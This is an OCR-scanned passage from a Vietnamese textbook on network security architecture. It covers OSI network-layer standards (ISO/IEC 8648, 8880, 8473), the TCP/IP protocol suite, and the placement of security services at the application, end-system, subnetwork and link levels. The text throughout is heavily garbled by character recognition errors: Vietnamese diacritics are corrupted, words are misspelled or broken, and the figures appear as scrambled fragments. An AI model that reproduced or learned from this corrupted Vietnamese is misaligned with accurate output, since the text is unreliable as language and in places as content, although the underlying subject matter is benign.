. Cap 4 thuc hién phat hién 16i (klem t:::nng) khac phuc 161 va don kénh.
Bang cach st dung cac dac tinh khic phuc 10i cua minh gla::: thure cap 4 co
thé hoat dmng trén mot dich vu mang khong két ndi dé cung cap mdt dich vu
tm&ren tai co két noi.

Giao thirc ho tro dich vu truyén ta1 khong két ndi duoc dinh nghia
trong tiéu chuan ISO/IEC 8602.

Lop mang

Lop mang la mot trong nhiing lop OSI phuc tap hon, vi no can phai thich
hop vdi IlhlE'l.l cong nghé mang con va cac chién luoc két ndi lién thong khac
nhau. N6 can phai gidi quyét cac van dé lién quan vé tré gilta cdc mang con
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cua cac cong nghé khac nhau va né cling phai giai quyét cac van dé lién
quan dén trinh dién mot g1ao dién dich vu r.:hung cho Lop truyen ta tren day.
Su ton tai ca hai hinh thic hoat déng cé két ndi va khéng cé két ndi déng
g6p lam cho céc tiéu chuan ctia Lép mang phitc tap mot cach déng ké.

Cac tiéu chuan lam giai thich tot nhat cho hoat dong ctia Lép mang 1a
tiéu chuan ISO/IEC 8880, tiéu chuan ISO/IEC 8648 va tiéu chuan ISO/IEC
8348. Hinh 3-5 minh hoa cac quan hé gitta cac tiéu chuan nay.

Tiéu chuan ISO/IEC 8648 vé tb
chirc bén trong ctia Lép mang

v

Tieu Gk{uﬁn ISO/IEC
8880-1 vé cac nguyén ly

\ v

T1€u chuan Tiéu chuan
ISO/IEC 8880-2 ISO/IEC 8880-3
vé giam sat va hd vé gidm sat va hd
tro dich vu mang tro dich vu mang

A

Tiéu chuan ISO/IEC 8348 vé
dinh nghia dich vu mang
(Ghe d6 c6 két 11{:}1 bd Xung ché
d6 khong két ndi va phan danh

Hinh 3-5: Céc tiéu chuan chung d6i véi Lép mang

Tiéu chuan ISO/IEC 8648 gidi thiéu mot so thuat ngft va khai niém
quan trong va mo ta cach cac khai mém xay dung mo hinh OSI trong lop
nay anh xa dén cac cau thanh mang thuc té nhu thé nao. Khai niém mot mgt
hé rhang cudi (duoc dua ra trong mo hinh tham chiéu OSI) tao ra mo hinh
mot thiét bi hoic mot nhém céc thiét bi thue thi mot ngin xép day da bay
16p. Con khai niém hé théng trung gian duoc dua ra trong Lép mang. Mot
he thc}ng trung gian chi thuc hién cac chirc nang co6 ¢ trong ba lo:p OSI thap
nhét. Mot hé thong cudi cé thé truyén thong vo1 mot he thong cud: khac mot
cach truc tiép hodc thong qua mot hoic nhiéu hé thcmg trung glan khac.

Mot mang con thyc la mot tap hop thiét bi va céc duong nbi vat Iy
dung dé két ndi lién thc:ng cac he th{:}ng thuc khac, vi du nhw, mot mang
chuyén mach goéi cdng cdng, mdt mang cuc bd LAN hay mot tip hop céc



mang con thuc khac duoc két noi lién thong voi nhau. Mot b lam viéc lién
két la mot thiét bi (hoac mot phan thiét b1) thuc hién met chirc nang gﬂr
chim mang. Thuat ngit hé thong trung gian cé thé quy vé su triru twong cla
mot trong cac khai niém sau:
a) moOt mang con thuc
b) mot bd lam viéc lién két, noi hai hay nhiéu mang con (vi du nhu, mot
router) hay
¢) mot su két hop ctia mang con thuc véi bd 1am viée lién két
Nhiéu giao thirc ciia Lép mang khac nhau co thé duoc dinh nghia. Chu
truc bén trong cua lop quan tam dén cac giao thirc mang con c¢é thé hay
khéng c6 thé duoc thiét ké dic biet dé hd tro cho OSI Do vay, giao thuc co
s0 cua mot mang con khong ean phai ho tro tat ca cac churc nang can thiét
cho dich vu Lop mang. Néu can thi cic IOP con sau cua giao thuc co thé
duoc cap trén giao thirc mang con dé cung cap céc chirc ning can thiét.
Trong mot kich ban két noi lién thong bat ky thi mot giao thirc cua
Lop mang thuc hién mot hoac mét sb chire nang sau:
e Giao thuc hoi tu doc lap mang con (viét tat tiéng Anh la SNICP —
SubNetwork-Independent Convergence Protocol): cung cap cac chirc
ning dé ho tro dich vu mang OSI trén mét tap cac kha ning co s& duoc
dinh nghia day du ma chung khéng dwa vao mot mang con co s& nhat
dinh nao. Vai tré ny, nhin chung, ap dung cho mét giao thirc két ndi lién
thong dwoc st dung, vi du nhu, dé van ehuven cac thong tin diac chi hoa
va thong tin chay vong qua nhiéu mang duoc két ndi lién thong.
o Giao thirc héi tu phu thudc mang con (viét tat tiéng Anh la SNDCP —
SubNetwork- Dependence Convegence Preteeel) lam ‘VIEC trén mot giao
thirc dong vai tro SNeCP nhim bd }:ung cac kha nang can thiét cho mét
giao thirc SNICP hoic can dé cung cap dich vu mang OSI day du.
e Giao thirc truy nhdp mang con (viét tit tiéng Anh la SNAcCP —
SubNetwork access Protocol): Giao thuc nay la mot phan thira ké cia
mot kleu mang con ddc biet. No cung cap mot dich vu mang con tai cac
diém cudi clia né va dich vu nay c¢6 thé hodc khong phai twong duong véi
dich vu mang OSIL.
Mot trong nhiing giao thirc quan trong hon la giao thuc mang khong két noi
(v1et tat tieng Anh la CLNP — Connectionless Network Protocol) duoc dinh
nghia trong tieu chuan ISO/IEC 8473. G1ae thuc nay, nhin ehung duoc
dung treng vai tro ciia mot SNICP dé cung eap dich vu mang o ché d6 kheng
c6 két néi. Tiéu chuan ISO/IEC 8473 eung dinh nghla cach giao thurc nay co
the hoat déng trén cdc mang con chuyén mach géi X.25 va mang LAN nhu
the nao.



Cac chirc nang cong nghé mang con
OSI duoc thiét ké dé hoat dﬂng ao trén mot pham V1 khc:ng co g101 han cac
cong nghé mang con co s&. Cac cong nghe nay co cac giao thuc cua Lop
mang phu thudéc mang con (vai tro cua SNaCP va SNDCP) va cac giao thirc
cia Lop lién két dir 1iéu va Lop vat Iy, Nhiéu tiéu chuan d3 duoc phat trién
d61 véi cac cdng nghé mang con chuyén dung, bao gom:
e (Cac mang LAN cuc bo - loat ticu chuan ISO/IEC 8802;
e Céc mang dit liéu chuyén mach theo goi (viét tit tiéng Anh 1a PSDNs
— Packet Switched Data Network) - khuyén cao cua ITU-T X.25 va cac
tiéu chuan qubc té ISO/IEC 8208, 8878 va 8881;
e Cac mang dit liéu chuyén mach theo mach dién (viét tit tiéng Anh la
CSDNs — Circuit Switched data Network);
e Cac mang s6 dich vu tich hop (viét tit tiéng Anh la ISDNs —
Integrated Service Digital Network), va
e (Cac mang thoai chuyén mach cong cong (viét tat tiéng Anh la PSTNs
— Public Switched Te]ephﬂne Netwark)

Cac giao thuc bao gum ca cac chuc nang cau ndi tat ca déu duoc coi
phai duoc dit & Lop lién két dir liéu. X 25 bao trum hai 1ép. Giao thirc murc
go1 X.25 la mot glao thirc Lop mang phu thudc mang con, trong khi do thi
giao thirc truy nhap lién két X.25 lai & trong Lép lién két dit liéu.

Vi cdc mang hé thong mé thuong bao trum nhiéu céng nghé mang
con, nén cac dic tinh an ninh duoc lién két vao trong mot cong nghe dac thu
la gia tri httu han. Do vay, phan nay cia kién truc OSI it lién quan dén quyén
sach nay so vdi cac 16p trén. An ninh d6i véi cac mang LAN va cling cho ca
cac mang PSDNS X.25 s& duoc ban dén trong chwong 11.

3.3 Bo giao thirc mang Internet TCP/IP

Cac giao thuc mang Internet da dl.rt:rc phat trlen tu gitta nhirng nam 19?0 khl
Co quan nghién cuu cac du an cap tién qut:}c phong cua MY (Vlet tat tieng
Anh la DAPRA Defense Advanced Projects Research Agency) bvat dau
dau tu phat trién cac tién ich mang PSDNS dé két noi lién théng cac truong
da1 hoc va cac co quan cua chinh phu trén toan nuoc My Mot bo cac glac:-
thirc day da vi vay di duoc xac dinh bao trum tit ca cac chuc ning giong
nhu mé hinh tham chiéu cia OSL B6 giao thirc thuong duoc biét nhu bd
giao thic TCP/IP duoc dit tén theo hai giao thirc cau thanh quan trong nhat
Céc giao thirc nay dang duoc phat trién nhanh chéng trong nhiéu mang dién



rong quoc té, dic biét bod suu tip cac mang duoc két noi lién thong duoc biét
nhu la mang Internet cua DAPRA.

B6 giao thirc nhiéu khi con duoc biét nhu 1a d6i thu canh tranh hang
dau (head to head) vo1 bo giao thuc OSIL. Tuy nhién, cang ngav cang sang to
rang, moi bd giao thuc co nhiing diém manh va yéu riéng cta minh va loi
ich 16n chi c6 thé dat dwoc bang cach két hop cac giao thuc thanh vién cua
ca hai bd giao thirc nay dé cho ra cac giai phap noi mang hoan thién. Chinh
viéc phén 16p giao thirc 1am cho van dé nay tré nén hién thuc dugc.

Bd giao thirc mang Internet c6 thé dwoc mo hinh hoa bing céach st
dung cung phuong phép tiép cin phan 16p nhu kién trac OSI va mic du
khéng c6 day da bay 16p trong bd giao thirc mang Internet, nhung cac giao
thuc nay hoan toan anh xa to1 mo hinh OSI. Co b6n lop hiéu qua cua mang
Internet. P61 v6i cac muc dich cta cla cubn sach nay, ching ta s& ching
nhu sau:

e L&p ung dung: 16p nay gom céac chirc ning cia Lop tmg dung, Lép
trinh dién va Lép phién lam viéccia md hinh OSI, c¢é nghia la cac 1ép
trén OSI duoc trinh bay trong muc 3.2

o Lép truyén tdi: 16p nay hoat dong twong tu nhu Lép truyén tai cia
OSI

o L&p mang Internet: 16p nay hoat dong twong tw nhu phan doéc lap
mang con cua Lop mang OSI. (tru khi co dinh nghia khac, con thuat ngir
lD'p mang duoc dung trong phan con lai cia cudn sach sé& duoc hiéu cho
ca Lop mang Internet)

e Lop giao dién: lop nay hoat dong tuong tu nhu cac chuc niang cong
ngh€ mang con cua OSI dd dugc trinh bay trong muc 3.2.

Khi chap nhin anh xa nay, ta c¢6 thé coi kién truc an ninh trong cé thé
duoc ap dung nhu nhau trong cac bo OSI va mang Internet. Nhitng sur khac
nhau veé kién tric cda cac 1op trén chung minh tinh khong hop ly, bo1 vi, tu
trién vong an ninh thi khong can phai phan tach cac 16p trén OSI thanh céc
Lép ing dung, Lép trinh dién va Lép phién lam viéc. Tuong tw nhu vay,
trong céac 16p dudi, cling khong cin phai chia tach cac chirc ning céng nghé
mang con thanh cac lop cau thanh.

Cac giao thirc cua Lop zmg dung

C6 rat nhiéu glaﬂ thirc cua Lop ing dung mang Internet va duwoi day chung

ta s& liét ké mot so trong s6 do:
e Giao thuc truyén tép (viét tit tiéng Anh la FTP — File Transfer
Protocol): day la moét giao thure cho phep nguol dung ding nhap vao trong
mot hé thé:ung ¢ xa, nhan dang chinh ho, liét ké cac thu muc ¢ xa va sao
chép tép di va dén may tinh & xa.



e Giao thtc truyén thu don gian (viét tit tiéng Anh la SMTP — Simple
Mail Transfer Protocol): day la mot giao thirc gin thu dién t&r dua trén
[POSS1, CROI1]. Thu dién t&r qua mang Internet va cac dic tinh an ninh
lién quan s& duoc ban luantong chuwong 13.
e Giao thirc quéan tri mang don gidn (viét tit tiéng Anh 1la SNMP —
Simple Network Management Protocol): day la giao thirc hd tro cho cong
tac quan tr1 mang. SNMP va cac dac tinh an ninh lien quan sé duoc trinh
bay trong chuong 15.
e Giao thirc TELNET : day la giao thirc dau cudi & xa don gian cho
phép ngudi dung & mot noi thiét 1ap mot két noi dé ding nhap vao may
chi & mot khac bang cach gd cac phim va dap tmg qua lai gitta ching.
Cdc giao thirc Lép mang va Lop truyén tdi
C6 hai giao thirc Lép truyén tai ciia mang Internet chinh la:
e Giao thirc kiém soat truyén (viét tit tiéng Anh la TCP — Transmission
Control Protocol): day la mot giao thuc truyen c6 két ndi duoc thiét ké dé
lam viéc trén mot dich vu mang khong ket no1 [POS2]. Giao thurc nay co
thé so sanh nhu giao thirc truyén tai OSI cap 4.
e Giao thic gam dit liéu nguoi dung GGDN (viét tit tieng Anh la UDP
— User Datagram Protocol): day la giao thirc truyen tai khong keét noi
[POS3]. Giao thirc nay c6 the so sanh véi giao thirc truyén tai khong ket
nol.
Giao thuc Lop mang Internet chinh yéu la giao thirc mang Internet (viét tit
tteng Anbh la IP — Internet Protocol). Giao thirc nay la giao thirc mang khong
két ndi [POS4] va nd cé thé so sanh véi giao thirc mang khong két ndi cia
OSI (CLNP).

3.4 Bo tri kién truc clia cac dich vu an ninh
Giam sat cac dich vu an ninh trong kién tric truyén thdng cé phin lop lam
xuét hién mot sO van dé quan trong. Viec phan lop glai} thire ¢6 thé tao ra
cac vong quan lam cho cac dit liéu bi nhung vao trong cac dir liéu va cac két
noi bi chuven vao trong cac két noi. Do vay, can phal dua ra cac quyet dinh
dung cho (cac) lop ta1 do can phai tién hanh bao vé cac muc dit liéu hay bao
vé theo két noi.

Tiéu chuan hinh thirc dau tién ndi vé phan 1ép cac dich vu an ninh 1a
Kién trac An ninh OSI (tiéu chuan ISO/IEC 7498-2) dwoc xuit ban vao nim
1988. Tiéu chuan nay (sé dugc trinh bay trong chuong 9) cung cip cac
hudng dan dé phéan 1op cung cap cac dich vu an ninh khac nhau. Tuy nhién,
no khong dua ra tat ca moi cau tra lo1, ma dé ngd rat nhiéu phuong an. Mot
s6 dich vu c6 thé can phai duoc cung cip trong nhitng 16p khéc nhau theo




nhting kich ban ung dung khac nhau; mot sb6 khac thdm chi cé thé can phai
duoc cung cap trcnng nhiéu trong cung mdt kich ban. Mbt 1y do vé tinh bao
trum 18 rang cua tiéu chuan ISO/IEC 7498-2 la cach tiép can c6 ging gan
muoi bon dich vu an ninh cho ba 16p kién truc. Piéu nay co thé duoc két
tinh vao trong mo hinh bon muc thuc dung hon va don gian hon dua trén
quan hé an ninh mat thiét thuc trong cac mang thuc.

Hinh 3-6 minh hoa cach mot cip hai hé thong cum truyen théng vo1 nhau
nhu thé nao thong qua mot chudi cac mang con ndi tiép nha. Mot hé thong
cudi thuong la mot thiét bi nim bat ky chd nao trong pham vi tir méy tinh ca
nhéin dén may tram dén may tinh mini dén may tinh chu. Mt dic tinh ma cé

thé lam cho hé thong cudi dwoc coi 1a hop 1y d6 1a né chi ¢6 modt co s& chinh
sach dbi vdi cac muc dich an ninh.
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Hinh 3-6: Kién trtic truyén thong co sé



Mot mang con 1a mot suu tip cac tién ich truyén thong st dung cung cong
nghé truyén théng nhu nhau, vi du nhu, mét mang LAN cuc bd hodc mang
dién réng WAN. Cfling hoan toan c6 1y khi cho ring, mdi mang con déu cé
mot can cu chinh sach an ninh cia minh. Tuy nhién, cac mang con khac
nhau thuong s€ co cac mo1 trwong an ninh khac nhau va /hoac cac co s& can
ctr chinh sach khac nhau. Mot hé thong cudi va mang con ma no két noi dén
c6 thé phai co hodc khong dugc phép cé cung mdt cin cir chinh sach an
ninh. Mot kich ban chung dic trung 14 mot hé théng cudi dang két nbi véi
mot mang LAN gilta cac nha xudng cua cong ty va volr mang LAN dang co
mot cong vao mang WAN cong cong. Sau khi tI‘ll‘YEI'l thong di di qua nhiéu
mang WAN duoc quan ly riéng ré, chung co thé di qua mot mang LAN khac
dé dén mot hé théng cudi khac.

M6t khia canh khac duoc gidi thiéu trén hinh 3-6 1a mot hé thong cudi
hd tro dong thoi nhiéu tmg dung, chang han nhu, thu dién t&, truy nhip thu
muc va truyén tép cung mot lac cho mét hodc nhiéu ngudi dung. Mbt ung
dung cung luc co the la cac dich vu quan tr1 mang danh cho nguol diéu hanh
hé thong. Cac yéu cau vé an ninh cta nhitng tng dung nay thuong khac biét
nhau mot cach dang ké.

Chung ta cling can phai cdng nhan ring, cac yéu ciu an ninh cé thé
khac nhau ngay trong mdt mang con. Cac mang con nhin chung bao gom
nhiéu lién két két noi nhiéu cau thanh mang con va céc lién két khac nhau c6
thé di qua nhiéu moi truong an ninh khac nhau. Do vay, céac lién két riéng ré
can phai dugc bao vé mot cach thich hop.

Hinh 3-6 cho ta thiy bén murc véi su xuat hién céc yéu cau ddi véi cac
phan t& giao thirc an ninh khac nhau:

(a)Muc ung dung Cac phan t& giao thirc an ninh phu thudc ung dung.

(b)Mirc hé thong cudi: Cac phan tur glao thue an ninh cung cap su bao vé
trén co so he thc:-ng cudi dén hé thl:}ng cudi

(¢)Mirc mang con: Céc phan ti giao thitc an ninh cung cap su bao vé trén
mot mang con duoc coi la it tin cay hon so vol cac phﬁn khac cua mo1
trrong mang.

(d)Mire lién két truc tiép: Céac phan tir giao thirc an ninh cung cp su bao
vé bén trong mot mang con trén mot lién két duoc coi la it tin cay hon
so V&1 cac phan khéac clia méi truong mang con.

Tur trién vong giao thirc truyén thong thi bon murc nay can phai khac
biét nhau. M6t s anh xa tiém can cua cac muc nay vao cac 1op kién tric
OSI dugc trinh bay trén hinh 3-7.



Lop ung
. Lép trinh

Muc rng dung

A e
" a2
e e o e ey
+1I--I-I-++_';I-+1;':f_.:

Lép phién lam

Mitc hé thong ;
: Lop truyen tai

Miic lién Lop mang
ket Lop lién ket dir
Lép vt Iy

Hinh 3-7: Bon muc kién truc co s& do1 vol an

Su khac nhau cua cac phan nhanh trong bé tri cac dich vu an ninh o
cac muc trén so vo1 ¢ cac muc duoi la gi? Truoc khi di vao ban luan vé céc
murc riéng ré chung ta c6 thé xac dinh mot so6 thude tinh chung khéac biét
gilta cac muc trén va muc dudi.

e JVin f:huyén hén hop: Nhu la mot hé qua cua su don kénh, tai cac murc
thap cang ngay cang gia taing xu huong nhan cac dit hiéu tu nhiéu nguo1
dung ngudn/ dich khac nhau va/hoic cac g dung dugc tron lan VOl
nhau trong mot chum dit iéu so vo1 cac muc cao, Y nghia cua yéu td nay
thay doi tuy theo kiéu loai cua chinh sach an ninh. Néu chinh sach an
ninh dinh dé cho cac nguoi dung va/hoic cac ing dung riéng ré xac dinh
nhu cau can béo vé cic dit liéu clia ho, thi viéc b6 tri cac dich vu an ninh
tai mOt murc cao can phai hudng tot 1én. Vi an ninh tai cac mire thip, cic
ung dung /nguol dung rieng r€ khong co su kiém soat thich hop va nhu
vay, duong nhu phai chi phi khong can thiét cho sur bao vé mot sb dit lidu
do cac yeu cau an ninh chia xé chum dit liéu vo1 cac dit lieu khac. Mt
khac, néu chinh sich an ninh nhu thé mot td6 chirc mudén dam bao rﬁng,
mo1 Su van chuyén cua to chirc déu duoc bio vé téi mdt mirc nhat dinh
khéng quan tdm dén nguoi dung hay ing dung thi diéu nay dé dang dat
duoc hon khi cac dich vu an ninh dat & cac murc thﬁp,

e Nhdn biét tuyén: Tai cdc muc thap, ¢6 xu huéng biét nhiéu hon vé cac
dic tinh an ninh cla cic tuyén va lién két khac nhau. Trong mét mo!
truong co cac dac tinh khac nhau mot cach dang ké nhu vay, thi viéc xip
dat cac dich vu an ninh tai cac muc thap c6 thé c6 hidu qué va cac loi ich
thuc té. Cac dich vu an ninh thich hop co thé duoc chon lua trén mot co
s& mang con hoic lién két truc tiép trong khi han che hoan toan chi phi an
ninh trén cac mang con hoic céc lién két khong can dén su bao vé.

e S6 cdc dzem bao vé: Viec dat an mmnh tai mot muc cao (muc L'rng
dung) yeu cau an ninh can duoc thuc thi trong mm ung dung nhay cam
trong moi hé thong cudi. Con khi dit an ninh tai mdi mutrc thap (murc lién



két truc tiép) thi yéu cau an ninh can phai dwoc thuc thi ta1 cac dau cudi

cua cac duong lien két mang. Viéc dua an ninh vao gan trung tam klen

truc (nghia la he thcrng cudi hay mirc mang con) s& cé xu hudng yéu cau
cac ddc tinh an ninh can duogc cai dat tai cac diém it quan trong hon dé
giam gia thanh xuﬂng mot cach dang ké.

e Bdo vé dau dé ciia giao thirc: Bao veé an ninh ta1 cac muc cao khong

thé bao vé duoc cac dau dé cia giao thuc cia cac muc thap, ma tbi thiéu

trong mot s6 moi troeong co thé 1a nhay cam. Piéu nay co xu huong nén
dat cac dich vu an ninh ta1t mot muec thap

e Gan két nguon/bé dir liéu: Mcrt so dich vu an ninh, chang han nhu,

viéc xac nhan hay thuwra nhan g:::c dir liéu, phu thudc vao su lién két dir

liéu vol géc hay bé chira ctia né. Diéu nay dat duoc mot cach hiéu qua
nhat tai cdc murc cao, dic biét & muc 1ép ing dung. Tuy nhién, d6i khi nd

c6 thé dat duoc tai cac mure thap phai chiu nhiing cang thang dac biet, vi

du nhu, budc médt khoi tao tin nhin vao mot mot he thong cudi nao dé

thong qua su dung phan cung va/hoac phan mém dang tin.

Xét tat ca moi diéu néu trén day, thay ngay cang sang to ta1 sao khong
thé c6 mot cau tra 161 don gian cho cau hdi lam cach nao dé bé tri kién tric
c4c dich vu an ninh “t6i nhat”. Trong phan dudi diy chung ta s& ban tiép vé
cac dic tinh cia mdi mirc trong phwong phap doc lap dich vu. Cac chuong
sau do s€ ban luan vé bo tri kién tric cta céc dich vu an ninh rieng biet ung
véi md hinh bén murc nay.

An ninh muc ung dung

Theo kién trtic OSI thi an ninh mirc tmg dung lién hé vdi cac 16p trén cia
kién triic bay 16p mang. (Theo giao thirc OSI thi d6 c¢6 nghia la Lép ung
dung, co thé duoc hd tro béi céac tién ich cua Lop trinh dién: Lop phién lam
viéc khong tham gia vao viéc giam sat an ninh). Viéc phan chia cac chuirc
ning gitta Lép tmg dung va Lép trinh dién s& duoc ban luan chi tiét trong
chuong 12.

Poi véi phan I6n cac dich vu an ninh ta cé thé dit dich vu tai murc ung
dung. Trong nhiéu truong hop thi cac phuong an muc thap cling c6 thé duoc
thay thé va thong thuong dem lai nhiing vu diém (ching han nhu, chi phi vé
thiét bi hay van hanh thap). Tuy nhién, co hai truong hop trong do chi co
muc ung dung la muc duy nhét c6 thé dé dat dich vu an ninh, do la:

(a)‘fj nhitng noi1 cac dich vu an ninh la cac dich vu chuyén dung hoac la
vé mit ngft nghia hodc 1a dwoc cai 4o vao trong mot giao thirc tmg
dung dac thu.

(b)(ffl nhitng no1 dich vu an ninh di qua cac g1t cham cua ung dung.



bi1ém nguol Cac quan hé P1ém nguoi

diino c11o1 Blém glfl' an ninh diimo  ec1non
cham imeo
Ung Ung
dun s dun

1ng Ullg 1ng
dung

Hé théng Hé thong
Heé théng

Cac lop dud Cac lop dud

Hinh 3-8: Buc tranh vé gitt chim tng dung

Mot s6 yéu cau vé an ninh duoc lién két khong thé g& ra duoc vol ung
dung vé mit ngit nghia. Vi du, mot timg dung truyén tép cé thé can phai xu
Iy kiém soat truy nhap, vi du nhu, doc hay cip nhat cac danh sach kiém soat
truy nhip dinh kém theo tép tin. Trong mdt s truong hop khac thi d6 min
bao vé an ninh la1 dwoc phan anh trong cac truong giao thire cua ung dung.
Piéu nay rat phd bién vdi cac dich vu vé tinh bio mait cla truong lwa chon,
tinh bao toan ven cua truong lua chon va tinh thwa nhan. Cac vi du la su
cung cap bdo mat cho mdt truong PIN trong mét giao dich tai chinh hoic
ca'.c yéu cau lﬁv riéng ré cac chit ky sb trong mot giao thuc thu muc. Trong
tat ca moi truong hop nay thi cac dich vu an ninh phai duwgc dat trong mu‘c
muc ing dung, vi tinh doc Iap l{:rp ngan khong cho cac lop thap biét dung vé
cac nglt nghia hay cac bién gio1 cua giao thuec.

Mot tinh huéng khac do1 hor gia phap ¢ muc u‘ng dung la hién tuong
g1t cham umg dung. Mot s6 img dung von gin lién v4i hon hai hé thong
cud1, nhu mo ta tren hinh 3-8. Cac hé thmng thu dién ti la mot vi du. Mot tin
nhin khéi tao tai mot hé thong cudi cé thé phai di qua nhlf:u hé thong gift
cham trudc khi dén dugc nguol nhan ¢ mot he thong cudi khéc. Trong
trwong  hop nay co thé can phai bio vé phan ndi dung ciia tin nhin trén co
s& nguol dung cudi dén nguoi dung cum co nghia la, quan hé g& phim chi
duoc biét tai cac hé théng ngudi dung cudi, con cac hé thong gift chim trung



gian khong duoc biét dén. Tuy nhien, cac phﬁn khéac cta tin nhan, vi du nhu,
cac truomg dia chi, khong duoc bao vé theo cach nay, vi cac hé thong gift
chim can st dung dén chung va cé thé cip nhat nhitng truong nay. Trong
diéu kién nhu vay, thi tit cd moi dich vu an ninh trong quan hé an ninh
ngudi dung dén nguoi dung can phai dit & mirc img dung.

Khi quyét dinh xem mot yéu cau an ninh can phai duoc xi Iy & mirc
ung dung hay ¢ muc thap hon thi trudce hét can phai can nhic nhitng yéu t6
trén. Néu khéng cé yéu cau niao duoc dap tmg thi cé thé dit céc dich vu an
ninh & cdc murc thap hon.

An ninh o muc hé thong cuoi

Céc kiéu yéu cau an ninh dudi day thudc vé glsu phap nay:
e (Cac yeu cau dua trén quan niem cho rang, cac he thé}ng cudi la dang
tin, nhung thuc té 1a tat cad moi mang truyén thong co s& déu khong dang
tin:
e (Cacyeéu {:ﬁu duoc ca1 quan bon tham quyeén cta hé théng cudi can phai
ap dat cho tht ca mol truyen thmng ma lahmng quan tam den ung dung; va
e Cac yéu cau lién quan dén cac két n6i mang (hay tit cd moi duong
lién két) ma khong lién két véi mot tng dung dac thu nao, vi du nhu, bao
ve tinh bi mat hay/va tinh toan ven cua tat ca moi1 duong truyen trén mot
lién két

Mbt s6 dich vu, chﬁng han nhu, bao vé tinh tc:ém ven hay;’ va tiﬂh bi
mat cua thong tm nguol dung tren co sO hé th-::nng cudi dén hé tht::-ng cudi co
the duoc cung cap mdt cach tiém an tai mirc tmg dung h:;?ﬂ,,I muc hé thﬂng
cum Khi unE:t dinh mutrc nao dé dit dich vu an ninh thi can tinh dén mot so
yéu t6. Va dé lua chon giai phap & mirc hé thong cudi thay vi giai phap &
murc ung dung thi can xét cac yéu to sau:

e Kha nang thuc hién cac dich vu bao vé khong anh hudng dén ung
dung;
e Hiceu nang cao khi thuc hién cac dich vu bao ve nhiéu dit lieu, co kha
ning hoat dong trén cac khoi dit liéu 16n va cé kha ning x Iy dit liéu cta
nhiéu ung dung theo cliing mdt phwong phap;
e BO6 tri quan tri cac tién ich an ninh tai mot nguoi diéu hanh hé thong
cudi thay vi phan bd né trong céc tmg dung riéng ré (hd tro chinh sach an
ninh phu hcrp) va
e Dam béo ring, cac dau giao thue cua cac giao thuc lop gitra (do la cac
giao thirc cia Lép truyén tai, Lép phién lam viée va Lép trinh dién) déu
nhan duoc su bao ve.
Theo khai niém cta OSI thi an ninh muirc hé thong cubi lién quan dén céc
giao thirc hoc ctia Lép truyén tai hodc giao thic cia Lép mang doc lap voi



mang con. Viec quyet dmh gitra ha1 phuong an nay da tung la chu dé tranh
cal tmng cac dién dan vé tiéu chuan hoa trong nhiéu nam. Thuc te d3 khﬂng
thé ¢é cau tra 101 dich thuc cho cac tranh cii nay va cudi cung céc tiéu chuan
d3 phai duoc x4y dung dua trén ca hai phuong an trén (d6 la tiéu chuan
ISO/IEC 10736 va tiéu chuan ISO/IEC 11577 tuong tmg).

Pé lua chon phuong an dit cac dich vu an ninh ta1 Lop truyén tai can

phai xét cac yéu to sau:
¢ Kha nang mo mng quyen bao ve to1 he th-:}ng cudi de: chﬂng la1 nhitng
nhitng kha nang b1 ton thuong trong cac tien ich truyén thong truy nhép
cuc bd hoic truyén tht:}ng dau cum va
¢ Kha nang cung cap cac cap baD vé khac nhau cho céac két noi truven
ta1 khac nhau co tmng mot két noi mang.

Cac yéu t6 can nhic khi quyét dinh dit dich vu an ninh trong Lép
mang la:

e Khi str dung cing mot gidi phap tai murc hé thdng cudi va mirc mang
con;

e D& dang chén cac thiét bi an ninh tai cac diém giao dién vat Iy chuan
hoa, vi du nhu, cac giao dién X.25 hay LAN

e Kha ning hd tro kién tric 1ép trén bat ky, bao gom kién truc OSL kién
tric mang Internet va kién trac 1ép cha.

Su khong dung hoa dugc cua cac yf:u to trén Iy gial tai sao khong thé
co duoc mot 101 gia1r don gian cho van dé nay. Cac cong dong ngudi dung va
cac nhom hoach dinh chinh sach can phai tur quyét dinh riéng cho minh trén
co s& cac yéu cau cu chinh minh.

An ninh muc mang con
Su khac nhau gitta an ninh muc he théng cudi va mirc mang con la an ninh
muc mang con chi cung cap kha ning bao vé qua mdt hoic nhiéu mang con
rieng biet. ¢o hai ly do rat quan trong dé phan biét mirc nay so véi mitc hé
th:::ng cudi 1a:
e Diéu rat pho bién la mang con gan vO1 cac hé thﬂng cudi déu dang tin
nhu nhitng chinh nhitng hé thong cubi, vi ching deu cung trén pham vi
nha may va cung duoc quan ly duon Gung mot quyen han.
e Trong mot mang bat ky s0 cac he thong cuoi thuong vuot qua sO cong
mang con. Nén chi phi thiét bi va chi phi van hanh d6i véi cac giai phap
an ninh muc mang con co thé thap hon rat nhiéu so véi cac giai phap &
murc hé thoéng cubi.
An ninh muc mang con do vay phai luon ludn duoc co1 nhu la mot phuong
an co thé thay thé clia an ninh murc hé thﬂng cudi.




Trong OSI thi an mirc mang con anh xa vao Lop mang, con trong
trrong hop cac mang LAN thi né anh xa vao Ldp lién két dit liéu (& chd nao
co dat cac giao thurec LAN).

An ninh & mirc lién két truc tiép
Cac tinh hudng thich hop dé st dung an ninh & muc lién két truc tiép la
nhitng truong hop cé tuwong doi it duong lién két khong tin cdy trong mot
mo1 truong dang tin khac. Trén duwong lién két di cho co thé duoc cung cap
mot muc bao vé cao vai chi phi thap. ‘Giam sat an ninh ta1 muc nay co thé
twdng minh d6i véi tit ca moi 16p truyén thong cao hon bao gdm ca cac giao
thuc mang, do vay, no khong b1 cot chat vao mot kién trac mang riéng nao
(vi du nhw, OSI, TCP/IP hay mang chi). Céc thiét bi an ninh c6 thé d& dang
duoc chén thém vao tai cac diém glao dien vat ly duoc chuin ho4 chung
Tuy nhien, chi phi hoat dong co thé cao do ¢6 nhu cau quén 1y doc lap cac
thiét bi trén co so theo tung duong lién két. Diéu quan trong la can nhén
thuc thav duoc rang an ninh & muc lién két truc tlEp khong thé bao vé
chong lai duoc nhu'ng tcnn thufc:rng bén cac nut mang con bén trong, vi du
nhu, cac hub, cac cau ndi va cac chuyén mach géi
Theo khai niém cac 1ép OSI thi an ninh & muc lién két truc tiép thuong lh
téi Lép vat Iy, Su bao vé duoc cung cap & murc cac chum bit twong minh doi
vol cac giao thuc lop trén. Vi du, cac qua trinh ma hoa co thé duoc ap dung
cho tumg chum bit di qua moi diém giao dién. Céc cdng nghe truyen co bao
vé, ching han nhu, cac k§ thuat trién vong ve trai phm tan sO cling c6 thé
duoc ap dung. An ninh ¢ muc lién két truc t1ep c6 thé lién quan mot cach
tiém an dén Lép lién két dit liéu, vi du nhu, néu su bao vé duoc cip & muc
khung.
Cac tuong tac nguoi dung
